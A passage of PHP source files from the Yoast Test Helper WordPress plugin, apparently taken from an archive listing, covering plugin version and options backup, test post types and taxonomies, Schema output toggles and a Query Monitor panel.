WordPress.Security.ValidatedSanitizedInput $this->update_plugin_version( $plugin, $_POST[ $plugin->get_identifier() ] ); } } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Updates the plugin version. * * @param WordPress_Plugin $plugin Plugin to update a version of. * @param string $version Version to update. */ protected function update_plugin_version( WordPress_Plugin $plugin, $version ) { if ( $this->plugin_version->update_version( $plugin, $version ) ) { \do_action( 'Yoast\WP\Test_Helper\notification', new Notification( \sprintf( /* translators: %1$s expands to the plugin name, %2$s to the version. */ \__( '%1$s version was set to %2$s.', 'yoast-test-helper' ), $plugin->get_name(), $version ), 'success' ) ); } if ( $this->plugin_options->save_options( $plugin ) ) { \do_action( 'Yoast\WP\Test_Helper\notification', new Notification( \sprintf( /* translators: %1$s expands to the plugin name. */ \__( '%1$s options were saved.', 'yoast-test-helper' ), $plugin->get_name() ), 'success' ) ); } } /** * Retrieves a plugin option. * * @param WordPress_Plugin $plugin Plugin to retrieve the option of. * * @return string The plugin option. */ protected function get_plugin_option( WordPress_Plugin $plugin ) { return \sprintf( '<tr><td>%s:</td><td><input type="text" name="%s" value="%s" maxlength="9" size="10"></td><td>(%s)</td><td>%s</td></tr>', \esc_html( $plugin->get_name() ), \esc_attr( $plugin->get_identifier() ), \esc_attr( $this->plugin_version->get_version( $plugin ) ), \esc_html( $plugin->get_version_constant() ), $this->get_option_history_select( $plugin ) ); } /** * Retrieves the plugin stored options history. * * @param WordPress_Plugin $plugin Plugin to retrieve the history of. * * @return string The plugin option history. */ protected function get_option_history_select( WordPress_Plugin $plugin ) { $history = $this->plugin_options->get_saved_options( $plugin ); $history = \array_reverse( $history, true ); return \sprintf( '<select name="%s"><option value=""></option>%s</select>', \esc_attr( $plugin->get_identifier() . '-history' ), \implode( '', \array_map( static function ( $timestamp, $item ) use ( $plugin ) { $version_option = $plugin->get_version_option_name(); $version_key = $plugin->get_version_key(); if ( ! empty( $version_key ) ) { $version = ''; if ( isset( $item[ $version_option ][ $version_key ] ) ) { $version = $item[ $version_option ][ $version_key ]; } } else { $version = $item[ $version_option ]; } return \sprintf( '<option value="%s">(%s) %s</option>', \esc_attr( $timestamp ), \esc_html( $version ), \esc_html( \gmdate( 'Y-m-d H:i:s', $timestamp ) ) ); }, \array_keys( $history ), $history ) ) ); } /** * Loads the history. * * @return bool */ protected function load_history() { if ( \check_admin_referer( 'yoast_version_control' ) === false ) { return false; } foreach ( $this->plugins as $plugin ) { // If history is set, load the history item, otherwise save. // phpcs:ignore WordPress.Security.ValidatedSanitizedInput $timestamp = $_POST[ $plugin->get_identifier() . '-history' ]; if ( ! empty( $timestamp ) ) { $notification = new Notification( \sprintf( /* translators: %1$s expands to date, %2$s to plugin name, %3$s and %4$s to HTML strong tags. */ \esc_html__( 'Options from %1$s for %2$s have %3$snot%4$s been restored.', 'yoast-test-helper' ), \gmdate( 'Y-m-d H:i:s', $timestamp ), $plugin->get_name(), '<strong>', '</strong>' ), 'error' ); if ( $this->plugin_options->restore_options( $plugin, $timestamp ) ) { $notification = new Notification( \sprintf( /* translators: %1$s expands to date, %2$s to plugin name. */ \esc_html__( 'Options from %1$s for %2$s have been restored.', 'yoast-test-helper' ), \gmdate( 'Y-m-d H:i:s', $timestamp ), $plugin->get_name() ), 'success' ); } \do_action( 'Yoast\WP\Test_Helper\notification', $notification ); return true; } } return false; } } src/plugin.php 0000644 00000005634 15004110556 0007347 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use Yoast\WP\Test_Helper\WordPress_Plugins\Local_SEO; use Yoast\WP\Test_Helper\WordPress_Plugins\News_SEO; use Yoast\WP\Test_Helper\WordPress_Plugins\Video_SEO; use Yoast\WP\Test_Helper\WordPress_Plugins\WooCommerce_SEO; use Yoast\WP\Test_Helper\WordPress_Plugins\WordPress_Plugin; use Yoast\WP\Test_Helper\WordPress_Plugins\Yoast_SEO; use Yoast\WP\Test_Helper\WordPress_Plugins\Yoast_SEO_Premium; /** * Bootstrap for the entire plugin. */ class Plugin implements Integration { /** * List of integrations * * @var Integration[] */ protected $integrations = []; /** * Constructs the class. */ public function __construct() { $this->load_integrations(); \add_action( 'Yoast\WP\Test_Helper\notifications', [ $this, 'admin_page_blocks' ] ); } /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { \array_map( static function ( Integration $integration ) { $integration->add_hooks(); }, $this->integrations ); } /** * Adds the blocks to the admin page. * * @param Admin_Page $admin_page The current admin page. */ public function admin_page_blocks( Admin_Page $admin_page ) { foreach ( $this->integrations as $integration ) { if ( \method_exists( $integration, 'get_controls' ) ) { $admin_page->add_admin_page_block( [ $integration, 'get_controls' ] ); } } } /** * Loads all the integrations. * * @return void */ private function load_integrations() { $plugins = $this->get_plugins(); $plugin_version_control = new Plugin_Version_Control( $plugins, new WordPress_Plugin_Version(), new WordPress_Plugin_Options() ); $option = new Option(); $this->integrations[] = $plugin_version_control; $this->integrations[] = new Admin_Page(); $this->integrations[] = new Admin_Notifications(); $this->integrations[] = new Upgrade_Detector(); $this->integrations[] = new Development_Mode( $option ); $this->integrations[] = new Plugin_Toggler( $option ); $this->integrations[] = new WordPress_Plugin_Features( $plugins ); $this->integrations[] = new Schema( $option ); $this->integrations[] = new XML_Sitemaps( $option ); $this->integrations[] = new Feature_Toggler( $option ); $this->integrations[] = new Post_Types( $option ); $this->integrations[] = new Taxonomies( $option ); $this->integrations[] = new Domain_Dropdown( $option ); $this->integrations[] = new Inline_Script( $option ); $this->integrations[] = new Admin_Debug_Info( $option ); $this->integrations[] = new Indexing_Reason_Integration(); $this->integrations[] = new Query_Monitor(); $this->integrations[] = new Downgrader(); } /** * Retrieves all the plugins. * * @return WordPress_Plugin[] */ private function get_plugins() { return [ new Yoast_SEO(), new Yoast_SEO_Premium(), new Local_SEO(), new Video_SEO(), new News_SEO(), new WooCommerce_SEO(), ]; } } src/post-types.php 0000644 00000012541 15004110556 0010173 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Bootstrap for the entire plugin. */ class Post_Types implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Register the needed hooks. * * @return void */ public function add_hooks() { if ( $this->option->get( 'enable_post_types' ) === true ) { \add_action( 'init', [ $this, 'register_post_types' ] ); } \add_action( 'admin_post_yoast_seo_test_post_types', [ $this, 'handle_submit' ] ); \add_filter( 'gutenberg_can_edit_post_type', [ $this, 'disable_gutenberg' ], 10, 2 ); \add_filter( 'use_block_editor_for_post_type', [ $this, 'disable_gutenberg' ], 10, 2 ); } /** * Checks whether Gutenberg is enabled for a certain post type. * * @param bool $can_edit Whether or not Gutenberg can edit the post type. * @param string $post_type The post type slug. * * @return bool Whether or not Gutenberg is enabled. */ public function disable_gutenberg( $can_edit, $post_type ) { if ( $post_type === 'movie' && $this->option->get( 'enable_gutenberg_videos' ) === false ) { return false; } if ( $post_type === 'book' && $this->option->get( 'enable_gutenberg_books' ) === false ) { return false; } return $can_edit; } /** * Registers our post types. * * @return void */ public function register_post_types() { \register_post_type( 'book', $this->get_book_args() ); \register_post_type( 'movie', $this->get_movie_args() ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $fields = Form_Presenter::create_checkbox( 'enable_post_types', \esc_html__( 'Enable post types & taxonomies.', 'yoast-test-helper' ), $this->option->get( 'enable_post_types' ) ); $fields .= Form_Presenter::create_checkbox( 'enable_gutenberg_books', \esc_html__( 'Enable block editor for Books.', 'yoast-test-helper' ), $this->option->get( 'enable_gutenberg_books' ) ); $fields .= Form_Presenter::create_checkbox( 'enable_gutenberg_videos', \esc_html__( 'Enable block editor for Videos.', 'yoast-test-helper' ), $this->option->get( 'enable_gutenberg_videos' ) ); return Form_Presenter::get_html( \__( 'Post types & Taxonomies', 'yoast-test-helper' ), 'yoast_seo_test_post_types', $fields ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_test_post_types' ) !== false ) { $this->set_bool_option( 'enable_post_types' ); $this->set_bool_option( 'enable_gutenberg_books' ); $this->set_bool_option( 'enable_gutenberg_videos' ); } // If we've now enabled the post types, make sure they work. if ( $this->option->get( 'enable_post_types' ) && ! \post_type_exists( 'book' ) ) { $this->register_post_types(); // Hook this to shutdown so we're certain all the required post types have been registered. \add_action( 'shutdown', [ $this, 'flush_rewrite_rules' ] ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Flushes the rewrite rules on the required action. */ public function flush_rewrite_rules() { \flush_rewrite_rules(); } /** * Sets a boolean option based on a POST parameter. * * @param string $option The option to check and set. */ private function set_bool_option( $option ) { // The nonce is checked in the handle_submit function. // phpcs:ignore WordPress.Security.NonceVerification.Missing $this->option->set( $option, isset( $_POST[ $option ] ) ); } /** * Return arguments to use when registering the book post type. * * @return array Arguments to use when registering the book post type. */ private function get_book_args() { return [ 'label' => \__( 'Books', 'yoast-test-helper' ), 'labels' => [ 'name' => \__( 'Books', 'yoast-test-helper' ), 'singular_name' => \__( 'Book', 'yoast-test-helper' ), 'add_new' => \_x( 'Add New', 'Book', 'yoast-test-helper' ), 'add_new_item' => \__( 'Add new book', 'yoast-test-helper' ), ], 'description' => \__( 'Our books post type', 'yoast-test-helper' ), 'public' => true, 'menu_icon' => 'dashicons-book-alt', 'has_archive' => 'my-books', 'rewrite' => [ 'slug' => 'yoast-test-books', ], 'show_in_rest' => true, ]; } /** * Get arguments to use when registering the movie post type. * * @return array Arguments to use when registering the movie post type. */ private function get_movie_args() { return [ 'label' => \__( 'Movies', 'yoast-test-helper' ), 'labels' => [ 'name' => \__( 'Movies', 'yoast-test-helper' ), 'singular_name' => \__( 'Movie', 'yoast-test-helper' ), 'add_new' => \_x( 'Add New', 'Movie', 'yoast-test-helper' ), 'add_new_item' => \__( 'Add new movie', 'yoast-test-helper' ), ], 'description' => \__( 'Our movies post type', 'yoast-test-helper' ), 'public' => true, 'menu_icon' => 'dashicons-format-video', 'has_archive' => true, 'rewrite' => [ 'slug' => 'yoast-test-movies', ], 'show_in_rest' => true, ]; } } src/query-monitor-output.php 0000644 00000004431 15004110556 0012233 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use QM_Output_Html; /** * Class to output the Indexable info within Query Monitor. */ class Query_Monitor_Output extends QM_Output_Html { /** * Yoast_QueryMonitor_Output constructor. * * Empty to overwrite the parent class constructor. */ public function __construct() { // Intentionally left blank. } /** * Returns the name of the output. * * @return string */ public function name() { return 'Yoast SEO'; } /** * Renders the Query Monitor output integration. */ public function output() { $this->before_non_tabular_output( 'qm-yoast-seo', $this->name() ); echo '<section>'; echo '<h3>Indexable</h3>'; $model = \YoastSEO()->meta->for_current_page()->model; echo '<table>'; echo '<tbody>'; $keys = [ 'id', 'permalink', 'permalink_hash', 'object_id', 'object_type', 'object_sub_type', 'author_id', 'post_parent', 'title', 'description', 'breadcrumb_title', 'post_status', 'is_public', 'is_protected', 'has_public_posts', 'number_of_pages', 'canonical', 'primary_focus_keyword', 'primary_focus_keyword_score', 'readability_score', 'is_cornerstone', 'is_robots_noindex', 'is_robots_nofollow', 'is_robots_noarchive', 'is_robots_noimageindex', 'is_robots_nosnippet', 'twitter_title', 'twitter_image', 'twitter_description', 'twitter_image_id', 'twitter_image_source', 'open_graph_title', 'open_graph_description', 'open_graph_image', 'open_graph_image_id', 'open_graph_image_source', 'open_graph_image_meta', 'link_count', 'incoming_link_count', 'prominent_words_version', 'created_at', 'updated_at', 'blog_id', 'language', 'region', 'schema_page_type', 'schema_article_type', 'has_ancestors', 'estimated_reading_time_minutes', ]; foreach ( $keys as $key ) { echo '<tr>'; echo '<th scope="row">' . \esc_html( $key ) . '</th>'; $val = $model->__get( $key ); echo '<td><pre>'; if ( \is_array( $val ) ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r \print_r( $val ); } else { echo \esc_html( $val ); } echo '</pre></td>'; echo '</tr>'; } echo '</tbody>'; echo '</table>'; $this->after_non_tabular_output(); } } src/query-monitor.php 0000644 00000001721 15004110556 0010674 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Class to add a Yoast SEO tab to Query Monitor. */ class Query_Monitor implements Integration { /** * Registers our menu item and output function. */ public function add_hooks() { \add_filter( 'qm/output/panel_menus', [ $this, 'add_menu_panel' ], 80 ); \add_filter( 'qm/outputter/html', [ $this, 'output' ], 12, 1 ); } /** * Adds the panel item. * * @param array $menu Array of menu items. * * @return array Array of menu items. */ public function add_menu_panel( array $menu ) { $menu['yoast-seo'] = [ 'id' => 'yoast-seo', 'title' => 'Yoast SEO', 'href' => '#qm-yoast-seo', ]; return $menu; } /** * Links the output to our output class. * * @param array $output Array with output for each tab. * * @return array Array with output for each tab. */ public function output( array $output ) { $output['yoast-seo'] = new Query_Monitor_Output(); return $output; } } src/schema.php 0000644 00000016027 15004110556 0007307 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use WPSEO_Utils; /** * Class to influence the Schema functionality of Yoast SEO (Premium). */ class Schema implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Adds the required hooks for this class. */ public function add_hooks() { if ( $this->option->get( 'replace_schema_domain' ) === true ) { \add_filter( 'wpseo_debug_json_data', [ $this, 'replace_domain' ] ); } if ( $this->option->get( 'enable_schema_endpoint' ) === true ) { \add_action( 'template_redirect', [ $this, 'send_json_ld' ] ); \add_action( 'init', [ $this, 'init_rewrite' ] ); } switch ( $this->option->get( 'is_needed_breadcrumb' ) ) { case 'show': case 'hide': \add_filter( 'wpseo_schema_needs_breadcrumb', [ $this, 'filter_is_needed_breadcrumb' ] ); break; default: \remove_filter( 'wpseo_schema_needs_breadcrumb', [ $this, 'filter_is_needed_breadcrumb' ] ); break; } switch ( $this->option->get( 'is_needed_webpage' ) ) { case 'show': case 'hide': \add_filter( 'wpseo_schema_needs_webpage', [ $this, 'filter_is_needed_webpage' ] ); break; default: \remove_filter( 'wpseo_schema_needs_webpage', [ $this, 'filter_is_needed_webpage' ] ); break; } \add_action( 'admin_post_yoast_seo_test_schema', [ $this, 'handle_submit' ] ); } /** * Registers the schema endpoint if needed. */ public function init_rewrite() { \add_rewrite_endpoint( 'schema', \EP_ALL ); } /** * Send the Yoast SEO Schema. */ public function send_json_ld() { global $wp_query; if ( ! isset( $wp_query->query_vars['schema'] ) ) { return; } \header( 'Content-Type: application/ld+json' ); $url = \YoastSEO()->meta->for_current_page()->canonical; if ( ! empty( $url ) ) { \header( 'Link: <' . $url . '>; rel="canonical"' ); } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- This is our self generated Schema, no need for escaping. echo WPSEO_Utils::format_json_encode( \YoastSEO()->meta->for_current_page()->schema ); exit; } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $select_options = [ 'none' => \esc_html__( 'Don\'t influence', 'yoast-test-helper' ), 'show' => \esc_html__( 'Always include', 'yoast-test-helper' ), 'hide' => \esc_html__( 'Never include', 'yoast-test-helper' ), ]; $output = Form_Presenter::create_select( 'is_needed_breadcrumb', \esc_html__( 'Influence the Breadcrumb Graph piece: ', 'yoast-test-helper' ), $select_options, $this->option->get( 'is_needed_breadcrumb' ) ); $output .= Form_Presenter::create_select( 'is_needed_webpage', \esc_html__( 'Influence the WebPage Graph piece: ', 'yoast-test-helper' ), $select_options, $this->option->get( 'is_needed_webpage' ) ); $output .= Form_Presenter::create_checkbox( 'replace_schema_domain', \esc_html__( 'Replace .test domain name with example.com in Schema output.', 'yoast-test-helper' ), $this->option->get( 'replace_schema_domain' ) ); $output .= Form_Presenter::create_checkbox( 'enable_schema_endpoint', \sprintf( /* translators: %1$ss is replaced by `<code>/schema/</code>`, %2$s is replaced by `<code>?schema</code>`. */ \esc_html__( 'Enable the Schema endpoint for every URL: suffix the URL with %1$s or %2$s to get the Schema for that URL, pretty printed.', 'yoast-test-helper' ), '<code>/schema/</code>', '<code>?schema</code>' ), $this->option->get( 'enable_schema_endpoint' ) ); return Form_Presenter::get_html( \__( 'Schema', 'yoast-test-helper' ), 'yoast_seo_test_schema', $output ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_test_schema' ) !== false ) { $this->option->set( 'replace_schema_domain', isset( $_POST['replace_schema_domain'] ) ); $this->option->set( 'enable_schema_endpoint', isset( $_POST['enable_schema_endpoint'] ) ); } if ( isset( $_POST['is_needed_breadcrumb'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- validation is done in validate_submit. $validated_is_needed_breadcrumb = $this->validate_submit( $_POST['is_needed_breadcrumb'] ); $this->option->set( 'is_needed_breadcrumb', $validated_is_needed_breadcrumb ); } if ( isset( $_POST['is_needed_webpage'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- validation is done in validate_submit. $validated_is_needed_webpage = $this->validate_submit( $_POST['is_needed_webpage'] ); $this->option->set( 'is_needed_webpage', $validated_is_needed_webpage ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Makes sure we only store data we know how to deal with. * * @param string $value The submitted value. * * @return string The validated submit value. */ private function validate_submit( $value ) { $value = (string) $value; if ( \in_array( $value, [ 'none', 'show', 'hide' ], true ) ) { return $value; } return 'none'; } /** * Replaces your .test domain name with example.com in JSON output. * * @param array $data Data to replace the domain in. * * @return array Data to replace the domain in. */ public function replace_domain( $data ) { $source = WPSEO_Utils::get_home_url(); $target = 'https://example.com'; if ( $source[ ( \strlen( $source ) - 1 ) ] === '/' ) { $source = \substr( $source, 0, -1 ); } return $this->array_value_str_replace( $source, $target, $data ); } /** * Returns the current breadcrumb option as boolean. * * @return bool */ public function filter_is_needed_breadcrumb() { return $this->option->get( 'is_needed_breadcrumb' ) === 'show'; } /** * Returns the current webpage option as boolean. * * @return bool */ public function filter_is_needed_webpage() { return $this->option->get( 'is_needed_webpage' ) === 'show'; } /** * Deep replaces strings in an array. * * @param string $needle The needle to replace. * @param string $replacement The replacement. * @param array $subject The array to replace in. * * @return array The array with needle replaced by replacement in strings. */ private function array_value_str_replace( $needle, $replacement, $subject ) { if ( \is_array( $subject ) ) { foreach ( $subject as $key => $value ) { if ( \is_array( $value ) ) { $subject[ $key ] = $this->array_value_str_replace( $needle, $replacement, $subject[ $key ] ); } elseif ( \strpos( $value, $needle ) !== false ) { $subject[ $key ] = \str_replace( $needle, $replacement, $value ); } } } return $subject; } } src/taxonomies.php 0000644 00000005437 15004110556 0010240 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Bootstrap for the entire plugin. */ class Taxonomies implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Register the needed hooks. */ public function add_hooks() { if ( $this->option->get( 'enable_post_types' ) === true ) { \add_action( 'init', [ $this, 'register_taxonomies' ] ); } } /** * Registers our post types. */ public function register_taxonomies() { // Taxonomies for books. \register_taxonomy( 'book-category', [ 'book' ], $this->get_category_args( 'yoast-test-book-category' ) ); \register_taxonomy( 'book-genre', [ 'book' ], $this->get_genre_args( 'yoast-test-book-genre' ) ); // Taxonomies for movies. \register_taxonomy( 'movie-category', [ 'movie' ], $this->get_category_args( 'yoast-test-movie-category' ) ); \register_taxonomy( 'movie-genre', [ 'movie' ], $this->get_genre_args( 'yoast-test-movie-genre' ) ); } /** * Get arguments to use when registering the category taxonomy. * * @param string $slug The slug to set for the taxonomy. * * @return array Arguments to use when registering the category taxonomy. */ private function get_category_args( $slug ) { return [ 'label' => \__( 'Categories', 'yoast-test-helper' ), 'labels' => [ 'name' => \__( 'Categories', 'yoast-test-helper' ), 'singular_name' => \__( 'Category', 'yoast-test-helper' ), ], 'rewrite' => [ 'slug' => $slug, ], 'hierarchical' => true, 'public' => true, 'show_in_rest' => true, ]; } /** * Get arguments to use when registering the genre taxonomy. * * @param string $slug The slug to set for the taxonomy. * * @return array Arguments to use when registering the genre taxonomy. */ private function get_genre_args( $slug ) { return [ 'label' => \__( 'Genres', 'yoast-test-helper' ), 'labels' => [ 'name' => \__( 'Genres', 'yoast-test-helper' ), 'singular_name' => \__( 'Genre', 'yoast-test-helper' ), 'search_items' => \__( 'Search Genres', 'yoast-test-helper' ), 'all_items' => \__( 'All Genres', 'yoast-test-helper' ), 'edit_item' => \__( 'Edit Genre', 'yoast-test-helper' ), 'update_item' => \__( 'Update Genre', 'yoast-test-helper' ), 'add_new_item' => \__( 'Add New Genre', 'yoast-test-helper' ), 'new_item_name' => \__( 'New Genre Name', 'yoast-test-helper' ), 'menu_name' => \__( 'Genre', 'yoast-test-helper' ), ], 'rewrite' => [ 'slug' => $slug, ], 'hierarchical' => false, 'public' => true, 'show_in_rest' => true, ]; } } src/upgrade-detector.php 0000644 00000002455 15004110556 0011305 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Upgrade detector, spawns a notification if an upgrade is being run. */ class Upgrade_Detector implements Integration { /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { \add_action( 'wpseo_run_upgrade', [ $this, 'yoast_seo_upgrade_ran' ] ); \add_action( 'update_option_wpseo_premium_version', [ $this, 'yoast_seo_premium_upgrade_ran' ] ); } /** * Adds the notification to the stack. * * @return void */ public function yoast_seo_upgrade_ran() { $this->add_notification( \esc_html__( 'The Yoast SEO upgrade routine was executed.', 'yoast-test-helper' ) ); } /** * Adds the notification to the stack. * * @return void */ public function yoast_seo_premium_upgrade_ran() { $this->add_notification( \esc_html__( 'Yoast SEO Premium updated its version number, which should mean the upgrade routine was executed.', 'yoast-test-helper' ) ); } /** * Adds a success notification for an upgrade. * * @param string $notification_text The notification text to show. * * @return void */ private function add_notification( $notification_text ) { $notification = new Notification( $notification_text, 'success' ); \do_action( 'Yoast\WP\Test_Helper\notification', $notification ); } } src/wordpress-plugin-features.php 0000644 00000007103 15004110556 0013202 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use Yoast\WP\Test_Helper\WordPress_Plugins\WordPress_Plugin; /** * Render plugin features HTML. */ class WordPress_Plugin_Features implements Integration { /** * Plugins to use. * * @var WordPress_Plugin[] */ protected $plugins; /** * WordPress_Plugin_Features constructor. * * @param WordPress_Plugin[] $plugins Plugins to use. */ public function __construct( $plugins ) { $this->plugins = $plugins; } /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { foreach ( $this->plugins as $plugin ) { \add_action( 'admin_post_' . $plugin->get_identifier() . '-feature-reset', [ $this, 'handle_reset_feature' ] ); } } /** * Retrieves controls. * * @return string Combined features. */ public function get_controls() { $output = \array_map( [ $this, 'get_plugin_features' ], $this->plugins ); return \implode( '', $output ); } /** * Retrieves the plugin features of a specific plugin. * * @param WordPress_Plugin $plugin Plugin to retrieve the features of. * * @return string Combined plugin features. */ protected function get_plugin_features( WordPress_Plugin $plugin ) { $features = $plugin->get_features(); if ( $features === [] ) { return ''; } $action = $plugin->get_identifier() . '-feature-reset'; $fields = \implode( '', \array_map( static function ( $name, $feature ) { return \sprintf( '<button id="%s" name="%s" type="submit" class="button secondary">' . \esc_html__( 'Reset', 'yoast-test-helper' ) . ' %s</button> ', \esc_attr( $feature ) . '_button', \esc_attr( $feature ), \esc_html( $name ) ); }, $features, \array_keys( $features ) ) ); return Form_Presenter::get_html( $plugin->get_name(), $action, $fields, false ); } /** * Handles resetting a feature. * * @return void */ public function handle_reset_feature() { foreach ( $this->plugins as $plugin ) { $action = $plugin->get_identifier() . '-feature-reset'; if ( \check_admin_referer( $action ) === false ) { continue; } if ( isset( $_POST['action'] ) && $action !== $_POST['action'] ) { continue; } $this->reset_feature( $plugin ); break; } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Detects if a feature must be reset for a specific plugin. * * @param WordPress_Plugin $plugin Plugin to reset a feature of. * * @return void */ protected function reset_feature( WordPress_Plugin $plugin ) { foreach ( $plugin->get_features() as $feature => $name ) { if ( ! isset( $_POST[ $feature ] ) ) { continue; } if ( \check_admin_referer( $plugin->get_identifier() . '-feature-reset' ) === false ) { continue; } $notification = new Notification( \sprintf( /* translators: %1$s expands to the plugin name, %2$s to the feature name. */ \esc_html__( '%1$s feature %2$s could not be reset.', 'yoast-test-helper' ), $plugin->get_name(), '<strong>' . $name . '</strong>' ), 'error' ); if ( $plugin->reset_feature( $feature ) ) { $notification = new Notification( \sprintf( /* translators: %1$s expands to the plugin name, %2$s to the feature name. */ \esc_html__( '%1$s feature %2$s has been reset.', 'yoast-test-helper' ), $plugin->get_name(), '<strong>' . $name . '</strong>' ), 'success' ); } \do_action( 'Yoast\WP\Test_Helper\notification', $notification ); } } } src/wordpress-plugin-options.php 0000644 00000010562 15004110556 0013062 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use WPSEO_Options; use Yoast\WP\Test_Helper\WordPress_Plugins\WordPress_Plugin; /** * Store and retrieve plugin options. */ class WordPress_Plugin_Options { /** * Saves the options for a specific plugin. * * @param WordPress_Plugin $plugin The plugin to save options of. * * @return bool True if options were saved. */ public function save_options( WordPress_Plugin $plugin ) { return $this->save_data( $plugin, $this->collect_data( $plugin->get_options() ) ); } /** * Collects the data from specified options. * * @param array $options Options to collect. * * @return array Data collected. */ protected function collect_data( array $options ) { $data = []; foreach ( $options as $option ) { $option_value = $this->get_option( $option ); if ( $option_value !== [] ) { $data[ $option ] = $option_value; } } return $data; } /** * Stores the data of a specific plugin. * * @param WordPress_Plugin $plugin Plugin to store data of. * @param array $data Data to store. * * @return bool True if stored. */ protected function save_data( WordPress_Plugin $plugin, $data ) { if ( empty( $data ) ) { return false; } $option_name = $this->get_option_name( $plugin ); $current_data = (array) \get_option( $option_name, [] ); $current_data[ \time() ] = $data; // Only keep the 10 latest entries. $current_data = \array_slice( $current_data, -6, 6, true ); return \update_option( $this->get_option_name( $plugin ), $current_data, false ); } /** * Retrieves saved options for a specific plugin. * * @param WordPress_Plugin $plugin Plugin to retrieve options of. * * @return array Stored data. */ public function get_saved_options( WordPress_Plugin $plugin ) { return $this->get_option( $this->get_option_name( $plugin ) ); } /** * Retrieves the data of a specific option. * * Does not use the WordPress API to make sure raw data is retrieved. * * @param string $name Name of the option to retrieve. * * @return mixed[] Contents of the option. */ protected function get_option( $name ) { global $wpdb; $result = $wpdb->get_col( $wpdb->prepare( "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s", $name ) ); if ( empty( $result ) ) { return []; } return \maybe_unserialize( $result[0] ); } /** * Restores options of a specific plugin. * * @param WordPress_Plugin $plugin Plugin to restore options of. * @param int $timestamp Specific save point to restore. * * @return bool True on success. */ public function restore_options( WordPress_Plugin $plugin, $timestamp ) { $history = $this->get_saved_options( $plugin ); if ( ! isset( $history[ $timestamp ] ) ) { return false; } foreach ( $history[ $timestamp ] as $option_name => $option_value ) { $this->unhook_option_sanitization( $option_name ); if ( $option_value === [] ) { \delete_option( $option_name ); } else { \update_option( $option_name, $option_value, false ); } $this->hook_option_sanitization( $option_name ); } return true; } /** * Unhooks option sanitization filters. * * @param string $option_name Option name to unhook the filters of. * * @return void */ public function unhook_option_sanitization( $option_name ) { // Unhook option sanitization, otherwise the version cannot be changed. if ( \class_exists( WPSEO_Options::class ) ) { $option_instance = WPSEO_Options::get_option_instance( $option_name ); \remove_filter( 'sanitize_option_' . $option_name, [ $option_instance, 'validate' ] ); } } /** * Hooks option sanitization filters. * * @param string $option_name Option name to hook the filters of. * * @return void */ public function hook_option_sanitization( $option_name ) { if ( \class_exists( WPSEO_Options::class ) ) { $option_instance = WPSEO_Options::get_option_instance( $option_name ); \add_filter( 'sanitize_option_' . $option_name, [ $option_instance, 'validate' ] ); } } /** * Returns the option name which stores the option data of a specific plugin. * * @param WordPress_Plugin $plugin The plugin. * * @return string The option name the data should be stored in. */ protected function get_option_name( WordPress_Plugin $plugin ) { return 'yoast_version_backup-' . $plugin->get_identifier(); } } src/wordpress-plugin-version.php 0000644 00000003516 15004110556 0013055 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use WPSEO_Options; use Yoast\WP\Test_Helper\WordPress_Plugins\WordPress_Plugin; /** * Class that retrieves and stores a plugin version. */ class WordPress_Plugin_Version { /** * Retrieves the version of a specific plugin. * * @param WordPress_Plugin $plugin Plugin to retrieve the version of. * * @return string The version. */ public function get_version( WordPress_Plugin $plugin ) { $data = \get_option( $plugin->get_version_option_name() ); if ( isset( $data[ $plugin->get_version_key() ] ) ) { return $data[ $plugin->get_version_key() ]; } return ''; } /** * Stores a plugin version. * * @param WordPress_Plugin $plugin Plugin to store the version of. * @param string $version The version to store. * * @return bool True on success. */ public function update_version( WordPress_Plugin $plugin, $version ) { $option_name = $plugin->get_version_option_name(); $data = \get_option( $option_name ); if ( empty( $version ) ) { return false; } if ( $plugin->get_version_key() === '' ) { return \update_option( $plugin->get_version_option_name(), $version ); } if ( $data[ $plugin->get_version_key() ] === $version ) { return false; } $data[ $plugin->get_version_key() ] = $version; $option_instance = false; // Unhook option sanitization, otherwise the version cannot be changed. if ( \class_exists( WPSEO_Options::class ) ) { $option_instance = WPSEO_Options::get_option_instance( $option_name ); \remove_filter( 'sanitize_option_' . $option_name, [ $option_instance, 'validate' ] ); } $success = 